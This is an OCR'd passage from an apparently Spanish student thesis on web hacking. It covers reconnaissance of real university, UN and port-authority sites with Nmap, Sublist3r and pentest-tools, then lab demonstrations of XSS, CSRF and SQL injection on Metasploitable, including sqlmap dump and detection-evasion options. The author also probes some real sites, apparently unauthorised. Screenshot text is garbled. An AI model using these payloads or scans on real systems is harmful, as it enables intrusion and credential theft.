89:76:9a:c6:86:cc:db:al:71:8d:f1:04:5b:37:ce:
b6:be:19:87:ae:14:bazae:51:cf:58:a1:c8:ab:48:
e8:0b:84:72:11:14:52:94:0e:99:88:e9:1b:2c:ad:
85:81:39:fa:8d:b6:1f:96:10:cb:4f:55:9a:ab:05:
53:79:35:b7:@3:2e:d2:a8:e9:af:87:bc:80:4d:e4:
15:f1:fb:68:69:be:18:6e:24:ff:77:ed:a2:ed:9b:
7c:d3:df:c5:26:56:c1:34:cT:d8:ed:7d:6b:48:5¢:
fe:8b:c8:fa:44:20:d1:bd:a%:91:ad:28:c5:7c:32:
b2:d@:28:94:8e:5a:d6:a2:f6:ad:9a:f2:55:a7:81:
d3:12:6b:ce:cd:7c:b8:59:39:6F:33:32:3F:e3:5b:
0d:81:44:2e:08¢:62:31:30:57:66:58:84:e6:22:8f:
e3:d7
Exponent: 65537 (8x18ee1)
X589v3 extensions:
X589v3 Authority Key Identifier:
6F:1D:35:40:10:6C:32 :FA:50:A0:9E:BC:BA:EB:1F:95:BE:71:7A:6C
X589v3 Subject Key Identifier:
18:71:F6:67:A4:DA:73:(D:22:78:A7:26:1B:8B:F0:AA:ED:80: 83 8C

Figura 18. Shodan 3 uv.es

Obtenemos informacion sobre los hostname, es decir, los dispositivos dentro de la red. Los
dominios, la ubicacion en Valencia, el ISP que es el proveedor de servicios de internet, asi
como la tecnologia ASP que utiliza, para la creacion de las paginas dindmicas.

También observamos las tecnologias web que utiliza como Bootstrap, un framework para el
desarrollo y construccion de sitios web que se basa en HTML y CSS, o también, otra tecnologia
que usa y nos es util saber a la hora de realizar ciberataque es la Cloudflare. Esta tecnologia
ofrece un servicio dedicado precisamente a proteger del hacking.

También Shodan nos proporciona la informacion de que hay 4 puertos abiertos, e informacion
sobre ellos. Vemos que usa el servidor Apache, que usando capa de transporte UDP en el puerto
123, encontramos NTP en la version 3. NTP, Network Time Protocol, se utiliza para sincronizar
los relojes en sistemas informaticos.

También obtenemos informacion del certificado SSL por el puerto 443.

15
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4.1.3 Netcraft

Netcraft es una tecnologia usada por muchas empresas para reducir ataques phishing. Nos
proporciona informacion de un sitio web como si en alglin caso la pagina fue atacada. Ponemos
de nuevo la pagina de la upv como ejemplo para ver qué informacion nos proporciona esta
herramienta.

Al hacerlo, nos informa de que lo califica con un riesgo 0 sobre 10. Vemos informacion sobre la
red, nombres de servidor, datos del SSL/TLS como su periodo de validez y el servidor Apache
utilizado o el algoritmo de firma, asi como su version. Certificados, informa de que no es
compatible con el protocolo SSL en la version 3.

En el historial de hosting solo aparece un caso en 2012.

También nos muestra el uso de tecnologias como JavaScript, jQuery, UTFS para la codificacion
de caracteres y el uso de HTML, HTMLS y CSS.

Dercrasr

Site report for

https://www.upv.es

» Q Look up another site?

Share: iy W £ in

B Background

Site title UPV Universitat Politécnica de Valéncia
Site rank 48165
Description Not Present
Date first seen November 2006
Netcraft Risk Rating (2] o/10 D
Primary language English

Figura 19. Netcraft 1 UPV
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B Network

Site https:/fwww.upv.es &
Netblock Owner Universitat Politecnica de Valencia
Hosting company Universidad Politecnica de Valencia
Hosting country = E5 &
IPv4 address 158.42.4.23 (VirusTotal &)
IPv4 autonomous systems AS766 &
IPv6 address Not Present
IPv6 autonomous systems Not Present
Reverse DNS las.cc.upv.es
Domain upv.es
Nameserver mirzam.ccc.upv.es
Domain registrar unknown
Nameserver organisation unknown
Organisation unknown
DNS admin hostmaster@upv.es

Figura 20. Netcraft 2 UPV

B Hosting History

Netblock owner IP address 0S  Web server Last seen
Universitat Politecnica de Genidsdin HP-  Apache/1.3.26 Unix Apache]Serv/1.1 Sain3bia
Valencia Valencia S UX  mod_ssl/2.8.10 OpenSSL/0.9.6g mod_perl/1.27 e

Figura 21. Netcraft 3 UPV
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Probando con diferentes paginas de organismos oficiales en el rango de riesgo que establece
Netcraft, la mayoria obtienen un 0 y como maximo encuentro un 1 de riesgo. Esto muestra que
estas paginas estan preparadas para mantener una seguridad informatica acorde a lo que
representan.

4.1.4 Nmap

La herramienta Nmap, que como se ha dicho anteriormente es, un software de codigo abierto
utilizado para analizar una red y la deteccion de sus puertos, es la siguiente herramienta con la
que continuamos la recoleccion de datos del sitio web objeto de nuestro estudio.

Tras descargar de Internet y ejecutar Nmap en nuestro ordenador, en la consola de Windows,
comprobamos que poniendo simplemente ‘nmap’ se nos muestran todas las opciones que esta
herramienta nos ofrece.

Seguimos analizando la pagina de la upv y para ello vamos a utilizar algunas herramientas
proporcionadas por nmap para la direccion IP asociada al dominio upv.es, 158.42.4.23.

Al introducir en el cmd de Windows el siguiente comando:
>nmap -sS 158.42.4.23 --top-ports 10000 -sV -O -osscan-guess -v

le estamos pidiendo diferente tipo de informacion de escaneo. Por un lado, como anteriormente,
llamamos a la herramienta nmap. El comando -sS es utilizado para saber si un puerto esta
escuchando. Para saberlo, utiliza un método de escaneo conocido como ‘half-opening’.

Para entender este método de escaneo primero voy a explicar en qué consiste el handshake de
tres vias. Es utilizado para crear una conexion de TCP para la transmision de datos segura entre
diferentes dispositivos.

Los tres pasos para el establecimiento de esta transmision comienzan por la conexion entre el
servidor y el cliente, de manera que el servidor debe tener puertos abiertos que puedan iniciar la
conexion. En este paso el cliente envia el paquete de datos SYN a través de una red IP al
servidor. El paquete SYN, cuyas siglas significan ‘Synchronize Sequence Number’, es
simplemente un numero de secuencia aleatorio usado para establecer la comunicacion.

A continuacion, cuando el servidor recibe el paquete SYN del cliente, responde con un paquete
SYN/ACK que contiene dos numeros de secuencia. El primero es simplemente el numero de
secuencia que ha recibido del cliente suméndole 1 y el otro es un nimero de secuencia aleatorio.

Como ultimo paso de este establecimiento de conexion, el cliente contesta al servidor un ACK
que contiene el nimero de secuencia aleatorio del servidor incrementado en uno y con este paso
ya queda la conexion reconocida por ambas partes y creada.

Una vez entendido el método handshake, procedo a seguir con el de ‘half-opening’ utilizado en
el escaneo de nmap. Simplemente se manda el paquete SYN y se espera a obtener la respuesta
SYN/ACK. Si se ha obtenido respuesta sabemos que ese puerto esta abierto y escuchando que
es la informacion que estamos buscando, sin embargo no mandamos el ultimo ACK desde el
cliente al servidor ya que no nos interesa establecer ninguna conexion.

--top-ports 10000 nos permite buscar mas puertos de los 1000 mas comunes que se comprueban
si no se utiliza este comando. Por tanto 10000 se podria cambiar por otro nimero especifico de
puertos.

-sV es utilizado para que nos muestre las versiones de los servicios identificados en los
diferentes puertos.
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Por tultimo, -O --osscan-guess esta enfocado en averiguar que sistema operativo utiliza el sitio
web, y -v que significa ‘verbose’, indica detalladamente el analisis que se esta produciendo.

filtered tcp ports

SERVICE VERSIO

ssh

telnet

smtp
open  http Apache httpd
closed ident

11.X (
zlinux_

n 9 69
56 (Good luck!)

Figura 22. Nmap para UPV

Observamos los resultados sobre los puertos abiertos que si recordamos, con la herramienta
online Shodan no habiamos tenido acceso a ellos. Vemos informacion como que el puerto 80 tcp
se encuentra abierto y corresponde a un servidio http corriendo sobre Apache httpd.

Como servidor nos informa que es Linux aunque no es un escaneo exacto pero nos perfila
algunas opciones aunque establece con mayo probabilidad Linux 4.0 y Linux 4.4.

Probando con otra pagina para observar diferentes resultados y asi analizar el funcionamiento, la
eleccion de la ONU https://www.un.org/es/ esta basada en la creencia de que sera una pagina
preparada para bloquear este tipo de analisis.

Mediante nslookup averiguamos la direccion IP, que en este caso es 172.20.10.1 y al usar la
herramienta Nmap con los comando:

>nmap -sS 172.20.10.1 --top-ports 10000 -sV -O -osscan-guess -v ,

observamos algunos resultados diferentes al caso anterior.
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Mmap scan report for 172
Host is up (0.817s latency
: 8347 closed tcp ports (reset)
STATE SERVICE VERSION
open ftp?
open domain (generic dns response:
open unknown
open tcpwrapped
e unrecognized despite returning data. If you know the

nge Livebo ir SL router or em Ff E r DSL router (
etworks SpeedSt 160 SL r (9 I WGR614v7 or T624v3
o ) . _ .

R%0=%

YT7(R=N)UL(R=Y

Network Distance: 1 hop

Read data files from: C:\ n \Nmap

0 rvice detection p ed. e r rt any
1 IP add (1 ho canned in 294.01
Raw packets sent: ( B70KB) | Rcvd:

Figura 23. Nmap para ONU

Hay 4 puertos abiertos. Detecta un servicio que le devuelve datos pero no lo reconoce y nos
muestra la direccion MAC y algunas opciones del sistema operativo con mayor probabilidad
que en el caso anterior.

En la ultima parte, observamos que nos imprime ‘Network distance: 1 hop’.

Esto se refiere a los saltos que se producen en las redes, entre ellas Internet, cuando un paquete
pasa de un segmento a otro hasta llegar a su destino.

En Internet es comun encontrarse como un paquete hace varios saltos por enrutadores, donde
cada uno procesa los datos y los vuelve a enviar al siguiente dispositivo. Estos saltos requieren
tiempo, por tanto, cuanto mas saltos, mas se ralentiza la experiencia del usuario en el sitio web.

Aunque la herramienta de Nmap ha percibido un salto, es probable que desde el origen hasta
nosotros se produzcan mas saltos y para ello hay una herramienta que se puede ejecutar en el
cmd de Windows que se denomina Tracert. Hacemos la prueba con la pagina de la ONU y
obtenemos 30 saltos:
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C:\Users\Usuario>tracert un.org

Traza a la direccion un.org [157.150.185.49]
sobre un maximo de

172.20.10.1
Tiempo de espera agotado para esta solicitud.
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Figura 24. Hops en pagina ONU

4.1.5 Sublist3r y Pentest-tools

Sublist3r es una herramienta basada en python con el fin de encontrar los subdominios de sitios
web para ayudar a la recoleccion de informacion a la hora de penetrar en una pagina.

Los subdominios se utilizan para separar diferentes secciones de un sitio web con fines
organizativos. Los nombres de los subdominios comparten parte del nombre con el del dominio
principal en la URL. Son utilizados habitualmente en grandes empresas para ofrecer
informacion especifica de diferentes contenidos.

Es una informacidn interesante de obtener cuando se quiere realizar la intrusion en el sitio web
ya que nos podemos encontrar con el caso de que una empresa se encuentre probando una
version beta como extension de su sitio principal asignando un subdominio que se encuentre
mas desprotegido.

Utilizamos la herramienta para ver los subdominios que tiene upv.es. Para ello, clonamos
Sublist3r con la consola de windows:

>pip install -r requirements.txt
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Y apuntamos a la direccion del dominio principal de la pagina que estamos auditando:

>python sublist3r.py -d upv.es

# Coded By Ahmed Aboul-Ela - @aboul3la

Enumerating subdomains now for upv.es
Searching now in Baidu..

arching ¢

arching n

arching

letcraft..
DNSdumpster. .
in Virustotal..

*: Virustotal probably
Unique Subdomains Found: 3
aplicat.upv.es
onales . upv.e
noliformat.upv.e

Figura 25. Consola Windows con Sublist3r

Obtenemos el resultado de 3 subdominios aunque parece que algunas respuestas estan siendo
bloqueadas. Por tanto vamos a probar con otra herramienta online para el mismo fin, encontrar
subdominios, pero esta vez es online. Recibe el nombre de pentest-tools y al introducir el
dominio upv.es vemos que efectivamente, en este caso nos encuentra 57 subdominios.
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(5] httpsi//pentest-tools.com/information nains-of-domain
- Findings
Subdomains Q
WEB PAGE
HOSTNAME IP ADDRESS os SERVER TECHNOLOGY PLATFORM TITLE
i.upv.es 67.199.248.12
Apache SoftNet -
ntp.upv.es 90.165.120.190 Windows 2.4.46 PHP 7.415 i
localhost.upv.es 127.0.0.1
local.upv.es 158.42.1.0
mirzam.ccc.upv.es 158.42.1.5
mailhost.upv.es 158.42.1.9
cmd.upv.es 158.42.3.11
SSO.Upv.es 158.42.3.63
vega.cc.upv.es 158.42.4.1

Figura 26. Dominios upv.es en Pentest-tools

En el caso de la pagina de Ayuntamiento del Puerto de la Bahia de Cadiz, nos encontramos con
el mismo, mientras que Sublist3r encuentra los 2 subdominios de la pagina, pentest-tools
localiza 6. Esto nos indica que son herramientas automatizadas que mandan sefiales al servidor
pero pueden ser bloqueadas y a la hora de analizar un sitio web debemos hacer comprobaciones
y no siempre confiar en los resultados obtenidos. En este caso sacamos la conclusion de que la
busqueda de subdominios con pentest-tools es mas efectiva.

[-] Total Unique Subdomains Found: 2
www . puertocadiz. com

webmail . puertocadiz.com

Figura 27. Dominios puertocadiz.com en Sublist3r

Pentest-tools contiene muchas herramientas basadas en la nube. Entre ellas encontramos una
para crawling.

Crawling es el recorrido de ‘arafias web’ o ‘crawlers’ con el fin de explorar los diferentes sitios
y directorios que tiene un sitio web para el almacenamiento de datos. Esta herramienta va
recorriendo los nuevos sitios y asi analizar todas las URL que pertenecen a la pagina web
principal.

Al introducir la pagina upv.es, obtenemos muchas URL que corresponden a directorios del sitio
web, junto a un cddigo de respuesta http, que para este caso solo nos ha aparecido el 200 si era
accesible y el 403 en el caso de no tener los permisos suficientes para el acceso.
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- Findings

Fuzzing without extension (plain words)...

NAME HTTP CODE HTTP REASON PAGE SIZE (KB)
error 403 Forbidden 17.508
pdfs 403 Forbidden 17.506
images 403 Forbidden 17.506
host 200 OK 0.136
apps 403 Forbidden 17.506
ca 403 Forbidden 17.506
200 OK 7.228
spam 200 OK 19.378
q 200 OK 0.24
cc 200 OK 20.828
util 403 Forbidden 17.506

Figura 28. Directorios upv.es en Pentest-tools

Con esta herramienta también cabe hablar sobre un concepto importante en el ambito del
hacking que son los Scanners Web.

Los Scanners Web se encargan de buscar vulnerabilidades como malware, troyanos o diferentes
amenazas. En resumen, otra herramienta de utilidad para nuestro objetivo de recolectar la mayor
informacion posible sobre un sitio web.

Si ejecutamos el scanner web pentest-tools para www.upv.es, observamos cémo no detecta
ninguna vulnerabilidad de peligro alto, una grado medio sobre el software de servidor que
adjunto en la siguiente imagen y algunas bajas con informacion.
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5 4
X

FILTRAR POR NIVEL DE RIESGO

Todos (19) @® Alto (0) Medio (1) ® Baja (8) @ Informacién (10)
Vulnerabilidades encontradas para el software del lado del servidor ~
SOFTWARE
cvss CVE RESUMEN EXPLOTAR ALECTADD
CVE-2015- jQuery antes de 3.0.0 es vulnerable a los ataques de Cross-site Scripting (XSS) cuando se
43 9251 (en realiza una solicitud Ajax entre dominios sin la opcién dataType, lo que hace que se N/A jQuery 1.9.1
inglés) ejecuten respuestas de textofjavascript.

jQuery antes de 3.4.0, como se usa en Drupal, Backdrop CMS y otros productos, maneja

GVE20197 mal jQuery.extend(true, {}, ...) debido a la contaminacién de Object.prototype. Si un objeto .
4.3 11358 (en % : 5 5 N/A jQuery 1.91
ingiés) de origen no sanitado contenia una propiedad __proto__ enumerable, podria extender el
objeto Object.prototype nativo.
CVE-2020- En las versiones de jQuery mayores o iguales a 1.2 y anteriores a 3.5.0, pasar HTML de
43 11022 (en fuentes que no son de confianza, mc\usg después de desinfectarlo, a uno de los méroqcs N/A jQuery 191
inigies) de manipulacién DOM de jQuery (es decir, .htmi(), .append() y otros) puede ejecutar cédigo
que no es de confianza. Este problema se corrige en jQuery 3.5.0.
En las versiones de jQuery mayores o iguales a 1.0.3 y anteriores a 3.5.0, pasar HTML que
CVE-2020- contenga <option> elementos de fuentes que no sean de confianza, incluso después de
4.3 11023 (en desinfectarlo, a uno de los métodes de manipulacion DOM de jQuery (es decir, .html(), N/A jQuery 1.91
inglés) .append() y otros) puede ejecutar cédigo que no es de confianza. Este problema se corrige

en jQuery 3.5.0.

Figura 29. Vulnerabilidades upv.es en Pentest-tools
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4.2 Vulnerabilidades web

Una vez tenemos controlada la informacion acerca de un sitio web, procedemos a analizar y
poner a prueba las vulnerabilidades. Para ello primero voy a explicar las principales y mas
conocidas para la intrusion en paginas web.

Para comprobar el funcionamiento de estas vulnerabilidades sobre un sitio web utilizaré
Metasploitable2, que nombrado anteriormente, es una distribucion de hacking web para la
evaluacion de vulnerabilidades.

4.2.1 Cross-Site Scripting (XSS)

Estas vulnerabilidades aprovechan como lo demaés, agujeros de seguridad en sitios web. En este
caso con los parametros de entrada para la inyeccion de codigo malicioso. La causa principal de
este fallo de seguridad se debe a una mala validacion de los datos de entrada. Cualquier
introduccion de datos por parte del usuario debe tener un saneamiento por parte del codigo.

Normalmente, el lenguaje utilizado es html o JavaScript y consiste en introducir scripts
maliciosos para aprovechar la confianza que tenga un usuario en el sitio web y asi al ejecutarlos,
robar credenciales o cualquier otra accion maliciosa.

Existen dos tipos dentro de este ataque web:

Por una parte tenemos el XSS ‘directo’ o ‘persistente’. En este tipo es el mas peligroso ya que el
c6digo modificado queda almacenado como tal en el sitio web, siendo visible cada vez que un
usuario acceda a ¢l. El codigo malicioso se almacena en la base de datos y se inserta con codigo
html.

Inicializamos con Virtualbox, Metasploitable2, consultamos la IP que se nos ha asignado y asi
accedemos con ella desde el navegador a la herramienta. Dentro de la aplicacion Metasploitable
2 encontramos diferentes opciones entre la que estd Mutillidae OWASP 10 que nos permite ver
como actuaria el Cross-Site Scripting, en este caso el persistente, en caso de que una pagina
web no tuviera seguridad para ella.

&< G & Noseguro | 192.168.1.152/mutillidae/ A 5

Q}ﬁ Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder)

Not Logged In

Home Login/Register Toggle Hints Toggle Security Reset DB View Log View Captured Data

Core Controls 4

OWASP Top 10 IA1 - Injection ae: Deliberately Vulnerable PHP Scripts Of OWASP Top 10

| A2 - Cross Site Scripting (XSS) Reflected (First Order)

A3 - Broken Authentication and Persistent (Second Order) Add to your blog
Documentation | Session Management N 5
DOM Injection View someone's blog
| A4 - Insecure Direct Object
CemEIE=S R ! Via "Input” (GET/POST) Show Log
A5 - Cross Site Request Forgery Via HTTP Headers
(CSRF) Via Misconfiguration

A6 - Security Misconfiguration Against HTML 5 Storage

PN A7 - Insecure Cryptographic Storage » Against JSON

AB - Failure to Restrict URL Access ¥ |\ oo Injection 2 tools needed or you may build your own collection

A9 - Insufficient Transport Layer ’
Protection

Site
hacked...err...quali
tested with Samura;

WTF, Backtrack, [RUSiVVEITEIC R IE G| Q
Firefox, Burp-Suite bl )

Rankitranls

Figura 30. Opciones Mutillidae OWASP 10
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Escogemos la opcion de ‘Add to your blog’ donde se van almacenando los datos que
introducimos en la base de datos y se ven publicamente.

Add blog for anonymous

Note: <b>,</b> <i></i><u> and </u> are now allowed in blog entries

<scriptralert("Sesion caducada. Vuelva a introducir sus
credenciales")</script>

N

‘ Save Blog Entry ‘

Figura 31. Cédigo alerta JavaScript en Mutillidae

Probamos introduciendo una alerta con etiquetas de JavaScript con el cédigo que observamos en
la anterior imagen y vemos como efectivamente nos aparece esta alerta ya que la pagina confia
en que el cliente introduzca texto plano pero no lo comprueba antes de que el codigo
introducido pueda ser ejecutado.

@ 192.168.1.152

Sesion caducada. Vuelva a introducir sus credenciales

Figura 32. Resultado alerta JavaScript en Mutillidae
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Probamos con otro codigo:

Add blog for anonymous

Note: <b>,</b> <i></i>,<u> and </u> are now allowed in blog entries

echo ("<script LANGUAGE='JavaScript'>
window.alert('Sesién caducada');
window.location.href="http://www.upv.es";
<fscript>");

Save Blog Entry

Figura 33. Cdédigo redireccién JavaScript en Mutillidae

Y al guardarlo como entrada del blog, nos aparece primero la alerta, como anteriormente, donde
se nos comunica que la sesion ha caducado, y al darle a aceptar, nos redirige directamente a la
pagina de la upv.

Si en vez de la pagina de la upv, tuviéramos una pagina disefiada por el atacante podriamos
proceder al robo de las credenciales.

Comprobamos que es de tipo persistente accediendo a la misma direccion desde otro navegador
vemos que el codigo inyectado se ha quedado de manera persistente en el sitio web.

El segundo tipo de XSS es el ‘indirecto’ o ‘reflejado’. Se diferencia del anterior por la simple
razén de que no se almacena en la base de datos, es decir, al acceder a la direccion desde otro
navegador o, simplemente al recargar la pagina, se pierde la informacion ya que se basa en la
URL. Precisamente, por estar basado en ello, habitualmente puede verse el ataque en la barra de
direcciones.
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4.2.2 Cross Site Request/Reference Forgery (CSRF)

Vulnerabilidad basada en el servidor y la confianza que el usuario tiene en algn sitio.
Encontramos CSRF en formularios que deben comprobar la peticion y validar la preferencia de
un cliente con permisos antes de ser enviada al servidor. Si no estan programados mecanismos
de proteccidn, un atacante podria utilizar los permisos del usuario.

Si sobre el navegador con el que trabaja el usuario que tiene permisos de autenticacion en un
sitio web, se ejecuta un script con cddigo malicioso, el usuario estaria mandando de manera
inconsciente una peticion al servidor.

La peticion no es detectada como maliciosa por el servidor ya que solo comprueba que proviene
del navegador de la victima y con un token de autenticacion.

Para evitar esta vulnerabilidad se hace uso de tokens dinamicos, por ejemplo, para aplicaciones
basadas en PHP, se afiade una etiqueta al formulario con el token anti-csrf.

Para entender el funcionamiento de esta vulnerabilidad volvemos a hacer uso de la maquina
virtual sobre Metasploitable.

Antes de programar el script con el que poner a prueba esta vulnerabilidad, necesitamos
interceptar la peticion que el servidor recibe. El primer paso para ello es configurar el proxy de
nuestro navegador, en mi caso con la direccion Proxy HTTP 127.0.0.1 y un puerto 8080 para
que coincida con el proxy que va a escuchar en la herramienta que voy a explicar a
continuacion.

Necesitaremos una herramienta que intercepte el trafico de navegacion y para ello utilizamos
Burp Suite.

Por otro lado, utilizamos de nuevo nuestra herramienta Metasploitable desde el ordenador, pero
en este caso accedemos a la aplicacion de DVWA, cuyas siglas significan ‘Damn Vulnerable
Web Application’, también disefiada para la practica de vulnerabilidades web donde
encontramos la opcion de CSRF.

En el apartado de la vulnerabilidad que estamos estudiando, encontramos un formulario para un
cambio de contrasefia, donde simplemente se nos pide la nueva y una repeticion.

O~ 192.168.1.152/dvwa/vulnerabilities/csrf/

More info

— . Vulnerability: Cross Site Request Forgery (CSRF)
Insirictions ‘ Change your admin password:
Setup ‘
New password:
Brute Force | e i
e Execution ‘ Confirm new password:
| ‘ | Change |

File Inclusion ‘ _
SQL Injection |

|

SQL Injection (Blind)

Figura 34. Vulnerabilidad CSRF en DVWA
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Al cambiar la contrasefia, Burpsuite que estd interceptando las peticiones nos muestra la que se
ha generado al darle a ‘change’:

Burp Suite Community Edition v2021.3.3 - Temporary Project

Burp Project Intruder Repeater Window Help
Dashboard Target Pro Intruder Repeater Sequencer Decoder Comparer Extender Project options User options

HTTP history WebSockets history Options

f Request to http://192,168.1.152:80

Forward | Drop Interceptis on Action Open Browser

GEIl \n  Actions v

! GET /dvwa/wvulnerabilities/csrf/?password_new=contrasesC3%Blaipassword _conf=contrasetC3%Bla&Change=Change| HTTP/1. 1

2 Host: 182.1€B.1.15C

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd4; xE4; rv:10l.0) Gecko/Z0100l0l Firefox/1l0l1.0

4 Accept: text/html,application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp,*/*;q=0.8

5 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3

¢ Accept-Encoding: gzip, deflate

7 Connection: close

o Referer: htep://152.168.1.152/dvwa/vulnerabilities/csrf/?password new=actualizarspassvord conf=actualizar&Change=Change
5 Cookie: security=low; PHPSESSID=df03cecdd3B857715leeaalb3dE00£107

1 Upgrade-Insecure-Requests: 1

Figura 35. Intercepcion peticién cambio contrasefia en Burp Suite

Si a la peticion que esta remarcada le afiadimos delante la direccion del host, tendriamos la
direccion completa a la que se le hace la peticion para cambiar la contrasefia. Por tanto, el
siguiente paso del atacante seria crear un archivo html y ejecutarlo.

En este archivo html, cambiamos la contrasefia que ha introducido la victima dentro de la
peticion que acabamos de generar y por tanto el acceso lo tendria el atacante y la victima ya no
podria acceder por desconocimiento de la misma.

Por tanto en el codigo html pondremos un mensaje que no le hiciera a la victima percatarse de
que ha habido un ataque pero en este mismo introducimos la peticién de cambio de contrasefia
dentro de una etiqueta de imagen, la cual serd cargada por el sitio web pues es reconocida como
una imagen pero aunque esta imagen no se muestre, pues no existe, si se esta ejecutando la
peticion del cambio de contrasefia.

| *prueba_csrf (2).html: Bloc de notas — O X

Archivo Edicion Formato Ver Ayuda

<!DOCTYPE html>

rhtml lang="es">
<head>
<meta charset="utf-g">
<title>Cambio contrasefia</title>
</head>

<body>
<h1 style="color: blue;">Contrasefia cambiada correctamente</h1>
<img src="http://192.168.1.152/dvwa/vulnerabilities/csrf/?password_new=cambio_password&password_conf=cambio_password&Change=Change">
</body>
</html>

Figura 36. Cédigo html con peticion para cambio contrasefia
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Efectivamente observamos al ejecutar el cddigo html en el navegador como la imagen
logicamente no se carga pero la peticion si que se esta enviando. Comprobamos al entrar en la
sesion y la contrasefia se ha cambiado por cambio password, la que habiamos afiadido en el
codigo html.

& (D) Archivo | C/Users/Usuario/Desktop/prueba_csrf%20(2).html

Contrasena cambiada correctamente

5

Figura 37. Visualizacion en navegador de cédigo html

Cuando probamos esta vulnerabilidad cambiando la contrasefia en la intranet de la UPV o
simplemente accediendo a la pagina del Teatro Real detecta un problema de seguridad.

No se ha conectado: Posible problema de seguridad

Firefox ha detectado una potencial amenaza de seguridad y no ha continuado a intranet.upv.es porque este sitio web
requiere una conexion segura.

Figura 38. Deteccion vulnerabilidad CSRF en pagina UPV

Para la pagina del Ayuntamiento del puerto de Cadiz, al acceder a su pagina principal no
bloquea el acceso como en los casos anteriores, pero al entrar en la intranet detecta que Burp
Suite esta interceptando la peticion y nos salta el siguiente error:

C O 8 intra net.puertocadiz.com/espanol/intranet.asp

Burp Suite Community Edition

Error

Unknown host: intranet.puertocadiz.com

Figura 39. Deteccion Burp Suite en pagina puertocadiz.com
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4.2.3 SQL Injection

Este método de hacking consiste en la infiltracion de codigo SQL malicioso en un sitio web que
hace consultas a una base de datos, pudiendo ser estas editadas por el atacante. Por tanto, SQL
Injection también se debe a la mala validacion de los datos.

La consulta que se haria a la base de datos para comprobar que un usuario tiene permiso para
acceder seria parecido a lo siguiente:
select * from users where usuario = ‘+ user +’ and password = ‘+password+’

Con un ejemplo, si realmente tuviéramos acceso y nuestro user fuera NOMBRE y nuestro
password fuera CONTRASENA, la consulta SQL que se lanzaria a la base de datos seria la
siguiente:

select * from users where usuario = ‘NOMBRE’ and password = ‘CONTRASENA’

Para poder modificar la consulta, lo que buscamos con esta vulnerabilidad, es que la condicion
logica sea true, por tanto, si en el usuario introdujeramos NOMBRE2’ or ‘0’ = ‘0’ - - la consulta
quedaria de la siguiente manera:

select * from users where usuario = ‘NOMBRE2’ or ‘0’ = ‘0’ - - and password = ‘+password+’

Estamos forzando una condicion true, ya que, aunque NOMBRE2 no esté registrado en la base
de datos como usuario, siempre se cumplird que 0 = 0 y con los dos guiones estamos
comentando el cddigo que sigue a la condicion true.

Esta es la técnica mas basica y, por tanto, un ataque bloqueado en la mayoria de paginas web
Ademas, tiene inconvenientes como que se necesita saber el tipo de base de datos, ya que el
doble guidén comenta las bases de datos Oracle, pero puede ser que se esté empleando otra. Al
probarla en la pagina de login de la UPV observamos como efectivamente la pagina esta
protegida para esta vulnerabilidad.

Otro tipo es la inyeccion de SQL mediante herramientas de hackeo automaticas. Entre ellas
destaca SQLMAP, una herramienta automatizada capaz de detectar una vulnerabilidad en un
sitio web. SQLMAP es una herramienta de codigo abierto utilizado por muchas empresas para
asegurarse de que sus sitios web estan protegidos poniéndolos a prueba.

Procedo a instalar sqlmap en la consola de Windows, con el comando de Python, para ver su
funcionamiento.

/14f795d7cca?

3]
| #HEEHHEHHHHEHEHEHHES AR | 7_2MB 156
ollected packe sqlmap
setup.p stall Imap ... done
Successfully installed sqlmap-1.6

s\Usuario>sglmap

ion (-d, -u, -1, -m, -r, -g, -c, --wizard, --shell, --update, --purge, -
ic and -hh for advanced help

Press Enter to continue...

Figura 40. Data Capture con credenciales capturadas
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Procedemos a introducir parametros que nos ofrece esta herramienta.
-u sirve para indicar que a continuacion se va a introducir la direccion a la que se desea atacar.

--banner para conocer el sistema operativo y la versidon del gestor de base de datos que es de
gran importancia, por como he explicado antes, saber que comando utiliza para poder utilizar
esta vulnerabilidad.

--data= , acompanado de los datos que se envian desde el formulario a través del método post.
Estos datos los podemos obtener introduciendo unos datos cualquiera y capturandolos con la
herramienta Burp Suite. En este formulario tenemos los dos datos de interés, el usuario y la
contrasefia, y especificamos uno de ellos a explotar para el ataque de la siguiente manera: -p
username. También debemos indicar el método usado para el envio de datos que lo podemos
saber inspeccionando la pagina: --method post

--random-agent para alterar la cabecera que usa sqlmap para evitar ser detectados o que salte
alguna alerta en el sitio web.

--current-user es un parametro ofrecido por sqlmap para saber qué usuario esta ejecutando la
base de datos, y --dba para saber si este usuario tiene permisos en la base de datos para editar.

Por ultimo, --current-db para la identificacion de la base de datos.

Como hemos observado en otra vulnerabilidad, las paginas web con la que estamos analizando
las vulnerabilidades detectan Burp Suite y no podemos hacer con ellas esta prueba. Por tanto
volvemos a utilizar nuestro sitio de pruebas Mutillidae. De manera que la instrucciéon en la
consola queda de la siguiente manera:

qlmap -u "htt

mit-button=Los

Figura 41. Instrucciéon sqlmap en consola Windows

Obtenemos informacion como que la base de datos utilizada es MySQL.:

[12:05:33] [INFO] heuristic (basic) test shows that POST parameter 'username' might be injectable (possible
DBMS: 'MySQL")

La posible version:

[12:07:18] [INFO] POST parameter 'username' is '"MySQL >= 4.1
Las tecnologias y el sistema operativo:

web application technology: PHP 5.2.4, PHP, Apache 2.2.8
back-end DBMS operating system: Linux Ubuntu

El usuario que ejecuta la base de datos, que efectivamente tiene privilegios, ¢ identifica la base
de datos:

current user: 'root@%'
current database: 'owasp10'

current user is DBA: True
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Otra funcionalidad de la herramienta sqlmap es la de enumerar las bases de datos existentes en
el servidor afiadiendo el comando --dbs a nuestra consulta.

Cuando elegimos sobre la que queremos actuar, cambiamos este comando por -D y a
continuaciéon nombramos la base de datos. También podemos consultar dentro de esta base de
datos las diferentes tablas que contiene con el comando --tables. Y, al igual con -7 *nombre de
la tabla* --columns nos mostraria las diferentes columnas que contiene la tabla. Nombrando
columnas separadas por comas, precedidas por el comando -C , con el comando --dump nos
extraeria los datos de las columnas.

Al probarlo, efectivamente obtenemos los datos buscados:

"admin’
d', "adrian’

retrieved:
iTable ccounts
[16 entries]

Figura 42. Obtencion credenciales con sqlmap

Este tipo de ataques tienen muchos efectos negativos frente a las empresas como un borrado de
la base de datos, un robo de datos confidenciales sobre clientes, poner en peligro la seguridad o
simplemente la pérdida de reputacion. La forma de evitarlo es directamente responsabilidad de
los que se encargan de gestionar estos sitios web. Para ello hay que tomar medidas como no
mostrar informacion personal que pueden resultar sospechosos, estar al dia de la seguridad
